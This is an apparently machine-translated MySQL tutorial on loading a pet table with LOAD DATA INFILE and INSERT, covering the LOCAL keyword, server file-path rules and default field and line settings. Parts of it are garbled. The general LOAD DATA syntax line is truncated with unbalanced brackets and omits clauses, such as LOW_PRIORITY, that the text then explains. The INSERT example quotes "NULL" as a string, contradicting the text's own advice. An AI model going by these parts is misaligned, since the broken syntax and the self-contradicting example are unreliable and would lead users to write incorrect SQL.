To load data from the text file pet.txt, located on the local computer (client) rather than on the server, into the pet table, use the LOAD DATA command:

Mysql> LOAD DATA LOCAL INFILE "pet.txt" INTO TABLE pet;

Key words have the following meaning. INFILE defines a string that is the name of the file from which data is to be read. Since the name is a string, it is enclosed in quotes, otherwise MySQL will try to evaluate it as a numeric expression. LOCAL indicates that the file should be searched on the client system and not on the server. INTO TABLE instructs to load data into a table whose name is specified immediately after the word TABLE (separated by a space).

You can specify the column value separator and end-of-line marker in the statement explicitly if you wish, but the default values are tab and linefeed. They are enough to correctly read the pet.txt file, and you don’t need more right now.

When you want to add new entries one by one, the instruction is useful INSERT. In its simplest form, you provide values for each column in the order in which the columns were listed in the CREATE TABLE statement. Let's say that Diane received a new hamster, Puffball. You can add a new entry using the INSERT statement, something like this:

Mysql> INSERT INTO pet
-> VALUES ("Puffball","Diane","hamster","f","1999-03-30","NULL");

The keywords here are also not particularly complex. INTO pet determines which table the insert goes into. VALUES specifies a list of values to insert for a new record in the table. The values are listed separated by commas and all taken together in parentheses.

Note that the strings and date value are defined as strings. You can insert NULL directly (not as a string) to represent the absence of a value.

You can see from this example that loading directly into a table would require quite a bit of typing. The instructions saved a lot of time.

LOAD DATA INFILE "file_name.txt" INTO TABLE tbl_name [ ENCLOSED BY ""] ] [(col_name,...)]

If the LOW_PRIORITY keyword is specified, execution of this LOAD DATA command will be delayed until other clients have finished reading the table.

When using versions of MySQL prior to 3.23.24, the LOAD DATA INFILE command cannot read from the FIFO. If you need to read from the FIFO (eg gunzip stdout), you should use LOAD DATA LOCAL INFILE .

In cases where the files are located on the server, the latter acts according to the following rules:

If an absolute (full) path to a file is specified, the server uses this path without changes.
If a relative path to a file is specified, specifying one or more starting directories, the file will be searched relative to the specified directories in the server's data directory (datadir).
If a path to a file is given without specifying the starting directories, then the server looks for this file in the directory of the database being used.

Mysql>USE db1; mysql> LOAD DATA INFILE "data.txt" INTO TABLE db2.my_table;

The LOAD DATA INFILE command is complementary to SELECT ... INTO OUTFILE. See section 6.4.1 SELECT statement syntax. To write data from a database to a file, use SELECT ... INTO OUTFILE . To read data back into the database, LOAD DATA INFILE is used. The syntax for FIELDS and LINES is the same in both commands. Both parts are optional, but if both are specified, then FIELDS must precede LINES .

If FIELDS is specified, each of its subexpressions (TERMINATED BY, ENCLOSED BY, and ESCAPED BY) is also optional, but at least one of them must be specified.

If the FIELDS statement is not defined, its parameters will default to the following values:

FIELDS TERMINATED BY "\t" ENCLOSED BY "" ESCAPED BY "\\"

If the LINES statement is not defined, it has the following structure by default:

LINES TERMINATED BY "\n"

In other words, with default settings, the LOAD DATA INFILE command when reading input data will work as follows:

Find line ends as `\n" characters
Split lines into fields based on tab characters.
Don't expect fields to be enclosed within quotation characters.
Interpret tab, newline, or `\" characters that occur preceded by `\" as literals that are part of the field value.

Conversely, if the default settings for writing output are in effect, the SELECT ... INTO OUTFILE command will work as follows:

Insert tab characters between fields.
Do not enclose fields in quotation characters. Use `\" characters to escape instances of tab, newline, or `\" characters that appear among field values.
Insert newlines at the end of each entry.